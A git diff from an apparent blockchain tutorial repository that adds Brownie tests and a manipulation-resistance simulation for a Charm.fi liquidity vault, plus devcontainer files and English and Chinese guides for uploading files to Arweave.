+    assert vault.baseLower() == tickFloor - 2400
+    assert vault.baseUpper() == tickFloor + 60 + 2400
+    assert vault.limitLower() == tickFloor + 60
+    assert vault.limitUpper() == tickFloor + 60 + 1200
+
+    assert strategy.lastTimestamp() == tx.timestamp
+    assert strategy.lastTick() == tick
diff --git a/basic/69-charm.fi/tests/test_rebalance.py b/basic/69-charm.fi/tests/test_rebalance.py
new file mode 100644
index 000000000..6c371ff60
--- /dev/null
+++ b/basic/69-charm.fi/tests/test_rebalance.py
@@ -0,0 +1,332 @@
+from brownie import chain, reverts
+import pytest
+from pytest import approx
+
+from conftest import computePositionKey
+
+
+@pytest.mark.parametrize("buy", [False, True])
+@pytest.mark.parametrize("big", [False, True])
+def test_strategy_rebalance(
+    vault, strategy, pool, tokens, router, getPositions, gov, user, keeper, buy, big
+):
+    # Mint some liquidity
+    vault.deposit(1e16, 1e18, 0, 0, user, {"from": user})
+    strategy.rebalance({"from": keeper})
+
+    # Do a swap to move the price
+    qty = 1e16 * [100, 1][buy] * [1, 100][big]
+    router.swap(pool, buy, qty, {"from": gov})
+    baseLower, baseUpper = vault.baseLower(), vault.baseUpper()
+    limitLower, limitUpper = vault.limitLower(), vault.limitUpper()
+
+    # fast forward 1 hour
+    chain.sleep(3600)
+
+    # Store totals
+    total0, total1 = vault.getTotalAmounts()
+    totalSupply = vault.totalSupply()
+
+    # Rebalance
+    tx = strategy.rebalance({"from": keeper})
+
+    # Check old positions are empty
+    liquidity, _, _, owed0, owed1 = pool.positions(
+        computePositionKey(vault, baseLower, baseUpper)
+    )
+    assert liquidity == owed0 == owed1 == 0
+    liquidity, _, _, owed0, owed1 = pool.positions(
+        computePositionKey(vault, limitLower, limitUpper)
+    )
+    assert liquidity == owed0 == owed1 == 0
+
+    # Check ranges are set correctly
+    tick = pool.slot0()[1]
+    tickFloor = tick // 60 * 60
+    assert vault.baseLower() == tickFloor - 2400
+    assert vault.baseUpper() == tickFloor + 60 + 2400
+    if buy:
+        assert vault.limitLower() == tickFloor + 60
+        assert vault.limitUpper() == tickFloor + 60 + 1200
+    else:
+        assert vault.limitLower() == tickFloor - 1200
+        assert vault.limitUpper() == tickFloor
+
+    assert strategy.lastRebalance() == tx.timestamp
+    assert strategy.lastTick() == tick
+    assert strategy.getTick() == tick
+
+    base, limit = getPositions(vault)
+
+    if big:
+        # If order is too big, all tokens go to limit order
+        assert base[0] == 0
+        assert limit[0] > 0
+    else:
+        assert base[0] > 0
+        assert limit[0] > 0
+
+    # Check no tokens left unused. Only small amount left due to rounding
+    assert tokens[0].balanceOf(vault) - vault.accruedProtocolFees0() < 1000
+    assert tokens[1].balanceOf(vault) - vault.accruedProtocolFees1() < 1000
+
+    # Check event
+    total0After, total1After = vault.getTotalAmounts()
+    (ev,) = tx.events["Snapshot"]
+    assert ev["tick"] == tick
+    assert approx(ev["totalAmount0"]) == total0After
+    assert approx(ev["totalAmount1"]) == total1After
+    assert ev["totalSupply"] == vault.totalSupply()
+
+    (ev1, ev2) = tx.events["CollectFees"]
+    dtotal0 = total0After - total0 + ev1["feesToProtocol0"] + ev2["feesToProtocol0"]
+    dtotal1 = total1After - total1 + ev1["feesToProtocol1"] + ev2["feesToProtocol1"]
+    assert (
+        approx(ev1["feesToVault0"] + ev2["feesToVault0"], rel=1e-6, abs=1)
+        == dtotal0 * 0.99
+    )
+    assert (
+        approx(ev1["feesToProtocol0"] + ev2["feesToProtocol0"], rel=1e-6, abs=1)
+        == dtotal0 * 0.01
+    )
+    assert (
+        approx(ev1["feesToVault1"] + ev2["feesToVault1"], rel=1e-6, abs=1)
+        == dtotal1 * 0.99
+    )
+    assert (
+        approx(ev1["feesToProtocol1"] + ev2["feesToProtocol1"], rel=1e-6, abs=1)
+        == dtotal1 * 0.01
+    )
+
+
+@pytest.mark.parametrize("buy", [False, True])
+def test_rebalance_twap_check(
+    vault, strategy, pool, tokens, router, gov, user, keeper, buy
+):
+
+    # Reduce max deviation
+    strategy.setMaxTwapDeviation(500, {"from": gov})
+
+    # Mint some liquidity
+    vault.deposit(1e8, 1e10, 0, 0, user, {"from": user})
+
+    # Do a swap to move the price a lot
+    qty = 1e16 * 100 * [100, 1][buy]
+    router.swap(pool, buy, qty, {"from": gov})
+
+    # Can't rebalance
+    with reverts("maxTwapDeviation"):
+        strategy.rebalance({"from": keeper})
+
+    # Wait for twap period to pass and poke price
+    chain.sleep(610)
+    router.swap(pool, buy, 1e8, {"from": gov})
+
+    # Rebalance
+    strategy.rebalance({"from": keeper})
+
+
+def test_can_rebalance_when_vault_empty(
+    vault, strategy, pool, tokens, gov, user, keeper
+):
+    assert tokens[0].balanceOf(vault) == 0
+    assert tokens[1].balanceOf(vault) == 0
+    strategy.rebalance({"from": keeper})
+    tx = strategy.rebalance({"from": keeper})
+
+    # Check ranges are set correctly
+    tick = pool.slot0()[1]
+    tickFloor = tick // 60 * 60
+    assert vault.baseLower() == tickFloor - 2400
+    assert vault.baseUpper() == tickFloor + 60 + 2400
+    assert vault.limitLower() == tickFloor + 60
+    assert vault.limitUpper() == tickFloor + 60 + 1200
+
+    assert strategy.lastRebalance() == tx.timestamp
+    assert strategy.lastTick() == tick
+
+
+@pytest.mark.parametrize("bid", [False, True])
+def test_rebalance(
+    vault, strategy, pool, tokens, router, getPositions, gov, user, keeper, bid
+):
+    # Mint some liquidity
+    vault.deposit(1e16, 1e18, 0, 0, user, {"from": user})
+
+    # Store old state
+    baseLower, baseUpper = vault.baseLower(), vault.baseUpper()
+    limitLower, limitUpper = vault.limitLower(), vault.limitUpper()
+    total0, total1 = vault.getTotalAmounts()
+    totalSupply = vault.totalSupply()
+    tick = pool.slot0()[1]
+    assert 42000 < tick < 48000
+
+    # Rebalance
+    if bid:
+        tx = vault.rebalance(
+            0, 0, 42000, 54000, -120000, -60000, 60000, 120000, {"from": strategy}
+        )
+    else:
+        tx = vault.rebalance(
+            0, 0, 36000, 48000, -120000, -60000, 60000, 120000, {"from": strategy}
+        )
+
+    # Check old positions are empty
+    liquidity, _, _, owed0, owed1 = pool.positions(
+        computePositionKey(vault, baseLower, baseUpper)
+    )
+    assert liquidity == owed0 == owed1 == 0
+    liquidity, _, _, owed0, owed1 = pool.positions(
+        computePositionKey(vault, limitLower, limitUpper)
+    )
+    assert liquidity == owed0 == owed1 == 0
+
+    # Check ranges are set correctly
+    if bid:
+        assert vault.baseLower() == 42000
+        assert vault.baseUpper() == 54000
+        assert vault.limitLower() == -120000
+        assert vault.limitUpper() == -60000
+    else:
+        assert vault.baseLower() == 36000
+        assert vault.baseUpper() == 48000
+        assert vault.limitLower() == 60000
+        assert vault.limitUpper() == 120000
+
+    base, limit = getPositions(vault)
+    assert base[0] > 0
+    assert limit[0] > 0
+
+    # Check no tokens left unused. Only small amount left due to rounding
+    assert tokens[0].balanceOf(vault) - vault.accruedProtocolFees0() < 1000
+    assert tokens[1].balanceOf(vault) - vault.accruedProtocolFees1() < 1000
+
+    # Check event
+    total0After, total1After = vault.getTotalAmounts()
+    (ev,) = tx.events["Snapshot"]
+    assert ev["tick"] == tick
+    assert approx(ev["totalAmount0"]) == total0After
+    assert approx(ev["totalAmount1"]) == total1After
+    assert ev["totalSupply"] == vault.totalSupply()
+
+    (ev1, ev2) = tx.events["CollectFees"]
+    dtotal0 = total0After - total0 + ev1["feesToProtocol0"] + ev2["feesToProtocol0"]
+    dtotal1 = total1After - total1 + ev1["feesToProtocol1"] + ev2["feesToProtocol1"]
+    assert (
+        approx(ev1["feesToVault0"] + ev2["feesToVault0"], rel=1e-6, abs=1)
+        == dtotal0 * 0.99
+    )
+    assert (
+        approx(ev1["feesToProtocol0"] + ev2["feesToProtocol0"], rel=1e-6, abs=1)
+        == dtotal0 * 0.01
+    )
+    assert (
+        approx(ev1["feesToVault1"] + ev2["feesToVault1"], rel=1e-6, abs=1)
+        == dtotal1 * 0.99
+    )
+    assert (
+        approx(ev1["feesToProtocol1"] + ev2["feesToProtocol1"], rel=1e-6, abs=1)
+        == dtotal1 * 0.01
+    )
+
+
+def test_rebalance_checks(vault, strategy, pool, gov, user, keeper):
+    with reverts("tickLower < tickUpper"):
+        vault.rebalance(0, 0, 600, 600, 0, 60, 0, 60, {"from": strategy})
+    with reverts("tickLower < tickUpper"):
+        vault.rebalance(0, 0, 0, 60, 600, 600, 0, 60, {"from": strategy})
+    with reverts("tickLower < tickUpper"):
+        vault.rebalance(0, 0, 0, 60, 0, 60, 600, 600, {"from": strategy})
+
+    with reverts("tickLower too low"):
+        vault.rebalance(0, 0, -887280, 60, 0, 60, 0, 60, {"from": strategy})
+    with reverts("tickLower too low"):
+        vault.rebalance(0, 0, 0, 60, -887280, 60, 0, 60, {"from": strategy})
+    with reverts("tickLower too low"):
+        vault.rebalance(0, 0, 0, 60, 0, 60, -887280, 60, {"from": strategy})
+
+    with reverts("tickUpper too high"):
+        vault.rebalance(0, 0, 0, 887280, 0, 60, 0, 60, {"from": strategy})
+    with reverts("tickUpper too high"):
+        vault.rebalance(0, 0, 0, 60, 0, 887280, 0, 60, {"from": strategy})
+    with reverts("tickUpper too high"):
+        vault.rebalance(0, 0, 0, 60, 0, 60, 0, 887280, {"from": strategy})
+
+    with reverts("tickLower % tickSpacing"):
+        vault.rebalance(0, 0, 1, 60, 0, 60, 0, 60, {"from": strategy})
+    with reverts("tickLower % tickSpacing"):
+        vault.rebalance(0, 0, 0, 60, 1, 60, 0, 60, {"from": strategy})
+    with reverts("tickLower % tickSpacing"):
+        vault.rebalance(0, 0, 0, 60, 0, 60, 1, 60, {"from": strategy})
+
+    with reverts("tickUpper % tickSpacing"):
+        vault.rebalance(0, 0, 0, 61, 0, 60, 0, 60, {"from": strategy})
+    with reverts("tickUpper % tickSpacing"):
+        vault.rebalance(0, 0, 0, 60, 0, 61, 0, 60, {"from": strategy})
+    with reverts("tickUpper % tickSpacing"):
+        vault.rebalance(0, 0, 0, 60, 0, 60, 0, 61, {"from": strategy})
+
+    with reverts("bidUpper"):
+        vault.rebalance(
+            0, 0, -60000, 60000, -120000, 60000, 60000, 120000, {"from": strategy}
+        )
+    with reverts("askLower"):
+        vault.rebalance(
+            0, 0, -60000, 60000, -120000, -60000, -60000, 120000, {"from": strategy}
+        )
+
+    for u in [gov, user, keeper]:
+        with reverts("strategy"):
+            vault.rebalance(0, 0, 0, 60, 0, 60, 0, 60, {"from": u})
+
+    vault.rebalance(
+        0, 0, -60000, 60000, -120000, -60000, 60000, 120000, {"from": strategy}
+    )
+
+
+def test_rebalance_swap(vault, strategy, pool, user, keeper):
+    min_sqrt = 4295128739
+    max_sqrt = 1461446703485210103287273052203988822378723970342
+
+    # Mint some liquidity
+    vault.deposit(1e16, 1e18, 0, 0, user, {"from": user})
+
+    total0, total1 = vault.getTotalAmounts()
+    vault.rebalance(
+        1e8,
+        min_sqrt + 1,
+        -60000,
+        60000,
+        -120000,
+        -60000,
+        60000,
+        120000,
+        {"from": strategy},
+    )
+
+    total0After, total1After = vault.getTotalAmounts()
+    assert approx(total0 - total0After) == 1e8
+    assert total1 < total1After
+
+    price = 1.0001 ** pool.slot0()[1]
+    assert approx(total0 * price + total1) == total0After * price + total1
+
+    total0, total1 = vault.getTotalAmounts()
+    vault.rebalance(
+        -1e8,
+        max_sqrt - 1,
+        -60000,
+        60000,
+        -120000,
+        -60000,
+        60000,
+        120000,
+        {"from": strategy},
+    )
+
+    total0After, total1After = vault.getTotalAmounts()
+    assert approx(total1 - total1After) == 1e8
+    assert total0 < total0After
+
+    price = 1.0001 ** pool.slot0()[1]
+    assert approx(total0 * price + total1) == total0After * price + total1
diff --git a/basic/69-charm.fi/tests/test_simulations.py b/basic/69-charm.fi/tests/test_simulations.py
new file mode 100644
index 000000000..c3ed3fcd0
--- /dev/null
+++ b/basic/69-charm.fi/tests/test_simulations.py
@@ -0,0 +1,133 @@
+from brownie.test import given, strategy
+from math import sqrt
+
+
+EPS = 1e-9
+
+
+@given(
+    lower=strategy("uint256", min_value=1, max_value=999),
+    upper=strategy("uint256", min_value=1001, max_value=10000),
+    shares=strategy("uint256", min_value=1, max_value=1000),
+    px1=strategy("uint256", min_value=1, max_value=10000),
+    px2=strategy("uint256", min_value=1, max_value=10000),
+    px3=strategy("uint256", min_value=1, max_value=10000),
+)
+def test_manipulation(lower, upper, shares, px1, px2, px3):
+    sim = Simulation(1000, lower, upper, 100)
+    sim.manipulate(px1)
+    sim.deposit(shares)
+    sim.manipulate(px2)
+    sim.withdraw(shares)
+    sim.manipulate(px3)
+    assert sim.balance() < EPS
+
+
+@given(
+    lower=strategy("uint256", min_value=1, max_value=999),
+    upper=strategy("uint256", min_value=1001, max_value=10000),
+    shares=strategy("uint256", min_value=1, max_value=1000),
+    rebalance_lower=strategy("uint256", min_value=1, max_value=2000),
+    rebalance_width=strategy("uint256", min_value=1, max_value=2000),
+)
+def test_arb_rebalance(lower, upper, shares, rebalance_lower, rebalance_width):
+    sim = Simulation(1000, lower, upper, 100)
+    sim.deposit(shares)
+    sim.rebalance(rebalance_lower, rebalance_lower + rebalance_width)
+    sim.withdraw(shares)
+    assert sim.balance() < EPS
+
+
+def calc_amount0(px, lower, upper):
+    return max(0, sqrt(min(upper, px)) - sqrt(lower))
+
+
+def calc_amount1(px, lower, upper):
+    return max(0, 1.0 / sqrt(max(lower, px)) - 1.0 / sqrt(upper))
+
+
+class Simulation(object):
+    def __init__(self, px, lower, upper, total_supply):
+        self.initial_px = self.px = px
+        self.lower = lower
+        self.upper = upper
+        self.total_supply = total_supply
+
+        self.liquidity = total_supply
+        self.pool0 = self.liquidity * calc_amount0(px, lower, upper)
+        self.pool1 = self.liquidity * calc_amount1(px, lower, upper)
+        self.unused0 = self.unused1 = 0
+
+        self.balance0 = self.balance1 = self.shares = 0
+
+    def deposit(self, shares):
+        # calc amounts
+        amount0 = self.total0() * shares / self.total_supply
+        amount1 = self.total1() * shares / self.total_supply
+
+        # transfer
+        self.balance0 -= amount0
+        self.balance1 -= amount1
+        self.unused0 += amount0
+        self.unused1 += amount1
+
+        # mint
+        self.total_supply += shares
+        self.shares += shares
+
+    def withdraw(self, shares):
+        frac = shares / self.total_supply
+        assert frac > -EPS
+
+        # transfer
+        self.balance0 += self.total0() * frac
+        self.balance1 += self.total1() * frac
+        self.unused0 *= 1.0 - frac
+        self.unused1 *= 1.0 - frac
+        self.liquidity *= 1.0 - frac
+
+        # burn
+        self.total_supply -= shares
+        self.shares -= shares
+        assert self.shares > -EPS
+
+    def rebalance(self, lower, upper):
+        # burn
+        self.unused0 += self.liquidity * calc_amount0(self.px, self.lower, self.upper)
+        self.unused1 += self.liquidity * calc_amount1(self.px, self.lower, self.upper)
+
+        # update range
+        self.lower = lower
+        self.upper = upper
+
+        # calculate new liquidity
+        per_share0 = calc_amount0(self.px, self.lower, self.upper)
+        per_share1 = calc_amount1(self.px, self.lower, self.upper)
+
+        # mint
+        self.liquidity = min(
+            self.unused0 / max(EPS, per_share0), self.unused1 / max(EPS, per_share1)
+        )
+        self.unused0 -= self.liquidity * calc_amount0(self.px, self.lower, self.upper)
+        self.unused1 -= self.liquidity * calc_amount1(self.px, self.lower, self.upper)
+
+    def manipulate(self, px):
+        self.balance0 += self.liquidity * calc_amount0(self.px, self.lower, self.upper)
+        self.balance1 += self.liquidity * calc_amount1(self.px, self.lower, self.upper)
+        self.px = px
+
+        self.balance0 -= self.liquidity * calc_amount0(self.px, self.lower, self.upper)
+        self.balance1 -= self.liquidity * calc_amount1(self.px, self.lower, self.upper)
+
+    def balance(self):
+        return self.balance0 + self.initial_px * self.balance1
+
+    def total0(self):
+        return self.unused0 + self.liquidity * calc_amount0(
+            self.px, self.lower, self.upper
+        )
+
+    def total1(self):
+        return self.unused1 + self.liquidity * calc_amount1(
+            self.px, self.lower, self.upper
+        )
diff --git a/basic/69-charm.fi/tests/test_total_amounts.py b/basic/69-charm.fi/tests/test_total_amounts.py
new file mode 100644
index 000000000..2480ab2f0
--- /dev/null
+++ b/basic/69-charm.fi/tests/test_total_amounts.py
@@ -0,0 +1,57 @@
+import pytest
+from pytest import approx
+
+
+@pytest.mark.parametrize(
+    "amount0Desired,amount1Desired",
+    [[1e18, 1e4], [1e4, 1e18], [1e18, 1e18]],
+)
+def test_total_amounts_includes_fees(
+    vaultAfterPriceMove,
+    pool,
+    router,
+    tokens,
+    getPositions,
+    gov,
+    user,
+    recipient,
+    amount0Desired,
+    amount1Desired,
+):
+    vault = vaultAfterPriceMove
+
+    # First deposit
+    tx = vault.deposit(amount0Desired, amount1Desired, 0, 0, user, {"from": user})
+    shares, _, _ = tx.return_value
+
+    total0, total1 = vault.getTotalAmounts()
+
+    # Generate fees
+    router.swap(pool, True, 1e16, {"from": gov})
+    router.swap(pool, False, -1e16 * 0.997, {"from": gov})
+
+    total0After, total1After = vault.getTotalAmounts()
+    assert approx(total0After) == total0
+    assert approx(total1After) == total1
+    assert total0After < total0 or total1After < total1
+    assert total0After > total0 or total1After > total1
+
+    # Poke pool
+    vault.deposit(10, 10, 0, 0, user, {"from": user})
+    total0After, total1After = vault.getTotalAmounts()
+    assert approx(total0After, rel=1e-2) == total0
+    assert approx(total1After, rel=1e-2) == total1
+
+    # Check total amounts grew due to fees
+    assert total0After > total0
+    assert total1After > total1
+
+
+def test_total_amounts_before_rebalance(vault, user):
+    total0, total1 = vault.getTotalAmounts()
+    assert total0 == total1 == 0
+
+    vault.deposit(1e8, 1e10, 0, 0, user, {"from": user})
+    total0, total1 = vault.getTotalAmounts()
+    assert total0 == 1e8
+    assert total1 == 1e10
diff --git a/basic/70-arweave-file-upload-with-bundlr/.devcontainer/Dockerfile b/basic/70-arweave-file-upload-with-bundlr/.devcontainer/Dockerfile
new file mode 100644
index 000000000..231271101
--- /dev/null
+++ b/basic/70-arweave-file-upload-with-bundlr/.devcontainer/Dockerfile
@@ -0,0 +1,16 @@
+# See here for image contents: https://github.com/microsoft/vscode-dev-containers/tree/v0.209.6/containers/typescript-node/.devcontainer/base.Dockerfile
+
+# [Choice] Node.js version (use -bullseye variants on local arm64/Apple Silicon): 16, 14, 12, 16-bullseye, 14-bullseye, 12-bullseye, 16-buster, 14-buster, 12-buster
+ARG VARIANT="16-bullseye"
+FROM mcr.microsoft.com/vscode/devcontainers/typescript-node:0-${VARIANT}
+
+# [Optional] Uncomment this section to install additional OS packages.
+# RUN apt-get update && export DEBIAN_FRONTEND=noninteractive \
+#     && apt-get -y install --no-install-recommends <your-package-list-here>
+
+# [Optional] Uncomment if you want to install an additional version of node using nvm
+# ARG EXTRA_NODE_VERSION=10
+# RUN su node -c "source /usr/local/share/nvm/nvm.sh && nvm install ${EXTRA_NODE_VERSION}"
+
+# [Optional] Uncomment if you want to install more global node packages
+# RUN su node -c "npm install -g <your-package-list -here>"
diff --git a/basic/70-arweave-file-upload-with-bundlr/.devcontainer/devcontainer.json b/basic/70-arweave-file-upload-with-bundlr/.devcontainer/devcontainer.json
new file mode 100644
index 000000000..791a2efc9
--- /dev/null
+++ b/basic/70-arweave-file-upload-with-bundlr/.devcontainer/devcontainer.json
@@ -0,0 +1,32 @@
+// For format details, see https://aka.ms/devcontainer.json. For config options, see the README at:
+// https://github.com/microsoft/vscode-dev-containers/tree/v0.209.6/containers/typescript-node
+{
+	"name": "Node.js & TypeScript",
+	"build": {
+		"dockerfile": "Dockerfile",
+		// Update 'VARIANT' to pick a Node version: 16, 14, 12.
+		// Append -bullseye or -buster to pin to an OS version.
+		// Use -bullseye variants on local on arm64/Apple Silicon.
+		"args": { 
+			"VARIANT": "16-bullseye"
+		}
+	},
+
+	// Set *default* container specific settings.json values on container create.
+	"settings": {},
+
+
+	// Add the IDs of extensions you want installed when the container is created.
+	"extensions": [
+		"dbaeumer.vscode-eslint"
+	],
+
+	// Use 'forwardPorts' to make a list of ports inside the container available locally.
+	// "forwardPorts": [],
+
+	// Use 'postCreateCommand' to run commands after the container is created.
+	// "postCreateCommand": "yarn install",
+
+	// Comment out connect as root instead. More info: https://aka.ms/vscode-remote/containers/non-root.
+	"remoteUser": "node"
+}
\ No newline at end of file
diff --git a/basic/70-arweave-file-upload-with-bundlr/.gitignore b/basic/70-arweave-file-upload-with-bundlr/.gitignore
new file mode 100644
index 000000000..7d3cec2ef
--- /dev/null
+++ b/basic/70-arweave-file-upload-with-bundlr/.gitignore
@@ -0,0 +1,24 @@
+# See https://help.github.com/articles/ignoring-files/ for more about ignoring files.
+
+# dependencies
+/node_modules
+/.pnp
+.pnp.js
+
+# testing
+/coverage
+
+# production
+/build
+
+# misc
+.DS_Store
+.env.local
+.env.development.local
+.env.test.local
+.env.production.local
+
+npm-debug.log*
+yarn-debug.log*
+yarn-error.log*
+yarn.lock
diff --git a/basic/70-arweave-file-upload-with-bundlr/Arweave-dapp/Demo1.md b/basic/70-arweave-file-upload-with-bundlr/Arweave-dapp/Demo1.md
new file mode 100644
index 000000000..c43e5dd83
--- /dev/null
+++ b/basic/70-arweave-file-upload-with-bundlr/Arweave-dapp/Demo1.md
@@ -0,0 +1,20 @@
+## How to upload my file to Arweave Network?
++ Boys, you can visit [Dev.md](Dev.md) to get basic infor
++ Many many DApps build on Arweave:[Arweave Dapps](https://mtfvznw2pwxykoicvxpoe7ao5rp4nhaueueux2bbe4klxankdhra.arweave.net/ZMtcttp9r4U5Aq3e4nwO7F_GnBQlCUvoIScUu4GqGeI/)
+
++ Here we select NodeJs to run this demo,and [SDKs is here](https://github.com/ArweaveTeam/arweave-js)
+
+## Step by step
++ 首先本地只会做最基础的上传Demo，如果你想大批量的上传等操作，使用[ArBundles](https://github.com/Bundlr-Network/arbundles)
++ NPM>14
+```
+npm install --save arweave
+```
+### Create a wallet
++ see demo1 directory code in app.js
++ ![Create new wallet](https://tva1.sinaimg.cn/large/008i3skNly1gynisetm5hj320c0l4gvk.jpg)
+### Get wallet balance
++ ![Get balance](https://tva1.sinaimg.cn/large/008i3skNly1gynitjgdbsj325y0u0q82.jpg)
+
+## reference
++ [Another demo](https://6yojw3s5gaznngox2twvxiqb5xqp7ezxymhz3agfc7yq7pitmwbq.arweave.net/9hybbl0wMtaZ19TtW6IB7eD_kzfDD52AxRfxD70TZYM)
\ No newline at end of file
diff --git a/basic/70-arweave-file-upload-with-bundlr/Arweave-dapp/Dev.md b/basic/70-arweave-file-upload-with-bundlr/Arweave-dapp/Dev.md
new file mode 100644
index 000000000..32bc9ca89
--- /dev/null
+++ b/basic/70-arweave-file-upload-with-bundlr/Arweave-dapp/Dev.md
@@ -0,0 +1,65 @@
+## Dev preparation
++ It is a preparation doc for your developing of Arweave.
++ Some acknowledgments you should know.
+### Create a AR wallet
++ get Chrome extension [here](https://chrome.google.com/webstore/detail/arweave/iplppiggblloelhoglpmkmbinggcaaoc)
++ [More help](https://docs.arweave.org/info/wallets/arweave-web-extension-wallet)
++ If you forget the encryption passphrase, just re-import the downloaded json file(It is very important to keep security)
+## Http
+### Config
++ The default port is 1984.
++  http://159.65.213.43:1984/info， or https://arweave.net/info.
++ curl --request GET \
+  --url 'https://arweave.net/info'
+### Language
++ integrations for Go, PHP, Scala (which can also be used with Java and C#) and JavaScript/TypeScript/NodeJS. 
++ [TS/NodeJs SDKs](https://github.com/ArweaveTeam/arweave-js)
++ [GO SDKs](https://github.com/everFinance/goar) 
+
+### Other
++ Nodes and gateways accept transactions through the POST /tx endpoint. 
++ Transaction and block identifiers and wallet addresses, among some other fields, are encoded as Base64URL strings.
++ A transaction may be used for uploading data, transferring tokens, or both.
++ Signatures are RSA-PSS with SHA-256 as the hashing function.
++ A transaction may be used for uploading data, transferring tokens, or both.
++ Arweave uses the JSON Web Key (JWK) format (RFC 7517) with 4096 length RSA-PSS keys. This JWK format allows for cryptographic keys to be represented as a JSON object where each property represents a property of the underlying cryptographic key.
++ Winston is the smallest possible unit of AR, similar to a satoshi in Bitcoin, or wei in Ethereum.
++ 1 AR = 1000000000000 Winston (12 zeros) and 1 Winston = 0.000000000001 AR.
++ https://arweave.net/tx/{id}
++ https://arweave.net/tx/{id}/status
++ https://arweave.net/tx/{id}/{field}
++ http://arweave.net/{id}
++ http://arweave.net:1984/tx/{id}/data.{extension}
+### More
++ [http API](https://docs.arweave.org/developers/server/http-api)
+## Deploy tool arkb
++ 
+```
+npm install -g arkb
+arkb deploy ./folder --wallet path/to/my/wallet.json
+arkb wallet-save path/to/arweave-wallet-key.json
+arkb deploy ./folder
+```
++ if arkb deploy ./folder --use-bundler http://bundler.arweave.net:10000
+```
+arkb deploy ./folder --use-bundler http://bundler.arweave.net:10000
+```
++ 
+```
+arkb status YOUR_TRANSACTION_ID
+
+# arkb status ERWTghgB8wDkOdKJ-8F1ne6BPIybv_rMLQPGP8c3YuE
+Confirmed: true | Status: 200
+```
++ 
+```
+# arkb balance
+pEbU_SLfRzEseum0_hMB1Ie-hqvpeHWypRhZiPoioDI has a balance of 10.113659492352 AR
+```
++ [More](https://docs.arweave.org/developers/tools/textury-arkb)
+
+## Docs for Hackathon
++ Permaweb apps are built using normal web technologies — HTML, CSS, and Javascript — but are deployed to Arweave’s on-chain storage system, making them permanent and available in a fast, decentralised manner. 
++ You can deploy a permaweb app in 2 minutes or less with Arweave Deploy!
++ [More](https://docs.arweave.org/developers/hackathon)
++ [Arweave Dapps](https://mtfvznw2pwxykoicvxpoe7ao5rp4nhaueueux2bbe4klxankdhra.arweave.net/ZMtcttp9r4U5Aq3e4nwO7F_GnBQlCUvoIScUu4GqGeI/)
\ No newline at end of file
diff --git a/basic/70-arweave-file-upload-with-bundlr/Arweave-dapp/README.md b/basic/70-arweave-file-upload-with-bundlr/Arweave-dapp/README.md
new file mode 100644
index 000000000..68a6e1581
--- /dev/null
+++ b/basic/70-arweave-file-upload-with-bundlr/Arweave-dapp/README.md
@@ -0,0 +1,68 @@
+
+## 什么是Arweave？
++ Arweave是一种协议，可让您永久、可持续地存储数据，只需支付一笔预付费用。
++ 该协议将拥有硬盘空间的人与需要永久存储数据或托管内容的个人和组织相匹配。这类似于优步将司机与需要交通工具的人联系起来的方式。这是在像比特币这样的去中心化网络中实现的，并且所有存储的数据都由可持续的捐赠基金支持，以确保其永久可用。
++ 在核心 Arweave 协议之上存在permaweb：一个全球性的、永久的页面和应用程序网络，永远存在。
++ 您可以在此处阅读 Arweave 和 permaweb 的介绍。
++ 你可以在这里阅读更多关于 Arweave 的挖矿机制的信息，以及更多关于它的带宽共享系统的信息。
++ Arweave 社区已经构建了一套完整的工具和服务，允许您启动完全分散的应用程序，这些应用程序存在于这个 permaweb 之上。这些工具提供从 UI 托管到数据库写入和查询的所有内容，以及用于编程财务奖励和激励的智能合约。这组工具是可组合和可互换的，让您能够找到完美的技术组合来满足您的去中心化 Web 应用程序的需求。
++ Arweave 网络由 AR 代币提供支持，该代币可在大多数主要交易所中找到。
++ Arweave 是一个完全由社区拥有和运营的开源网络。这个 wiki 是我们关于 permaweb 的集体知识库，托管在 permaweb 本身上。任何人都可以为这个 wiki 做出贡献并帮助我们建立新的网络。您可以在此处了解有关如何参与的更多信息。
+
+
+## AR和IFPS区别
+### Arweave
++ Ar号称一次缴费，永久存储，不过，它不是通过在用户和存储提供商之间建立合同来实现的，而是通过鼓励矿工复制尽可能多的存储数据的加密经济激励措施，以确保数据可用性、可靠性和持久性来实现这一点。
++ Arweave和Filecoin都支持去中心化、信任最小化、抗审查的数据存储。
++ 二者都是使用区块链技术构建的，并且这两个网络都可用于长期存储数据，用于存档目的或用于网站托管等实时应用程序。
++ 不同的是，两者在向最终用户提供存储方式的区别。
+### IFPS
++ Filecoin是基于合约的存储，其经济模型和不少集中式云提供商的经济模型类似：可以更简单地将基于合同的存储视为即用即付模型。即：用户支付一个节点网络，这些节点在Y时间段内存储X字节的数据，并保证Z可检索性。Storj、Sia和SAFE等分布式存储也使用相同的存储模型。
++ 尽管两者的目的都是提供永久存储，有诸多相似之处，但两个解决的是不同方向的问题。Filecoin希望通过提供比亚马逊或阿里巴巴更好的低成本去中心化临时存储解决方案来颠覆当前的存储市场。而Arweave正在寻求提供长期数据存储的解决方案，并在此基础上构建一波新的永久性应用程序
+
+### 结论
++ 一次付费，永久使用=Arveave
++ 按时间、存储、检索等类似云服务方式存储付费=IFPS
+
+## 开发案例
+
+### link
+[开发者社区](https://discord.gg/BXk8tq7)
+[挖矿社区](https://discord.gg/GHB4fxVv8B)
+[社区Twitter](https://twitter.com/onlyarweave)
+
+### Demo list(pls add demo here)
++ Some basic develope information [Dev.md](Dev.md)
++ 一个基础的Arweave的开发案例
++ [Demo1-Upload a file to Arweave to permanently store it online](Demo1.md)
+
+### 应用场景
++ ArConnect：一种简单而安全的方式来管理您的 Arweave 资产并与 dApp 连接
++ Amplify：Amplify 为 Arweave 生态系统提供了一种以完全可访问的格式买卖带宽的新方式
++ ArDrive：ArDrive 是一种私有、安全、去中心化、随用随付、抗审查和永久的数据存储解决方案，适用于所有人
++ ArGo：使用 ArGo，您可以一键部署您的 permaweb 应用程序或站点
++ ArGo 还在一个地方维护应用程序版本和跟踪日志，一成不变，确保它们永远不会丢失
++ ArVerify：ArVerify 检查以确保 Arweave 钱包地址由真实的人拥有，而不是机器人
++ Community.XYZ：使用利润分享社区平台 CommunityXYZ 创建和管理您的永久网络社区
++ Community.XYZ 是一个完全去中心化的网站和建立在 Arweave 之上的 SmartWeave 合约，它允许您创建、投票、管理、拥有并与您的社区互动，同时获得利润分享代币激励
++ Decent.land：DecentLand 是建立在 Arweave 的 Permaweb 之上的社交网络协议
++ 教会演讲：一个甚至我们都无法审查你的平台
++ 不可破解
++ 不可审查
++ 势不可挡
++ Ever.finance：为用户和商家提供易于使用的代币支付和结算产品
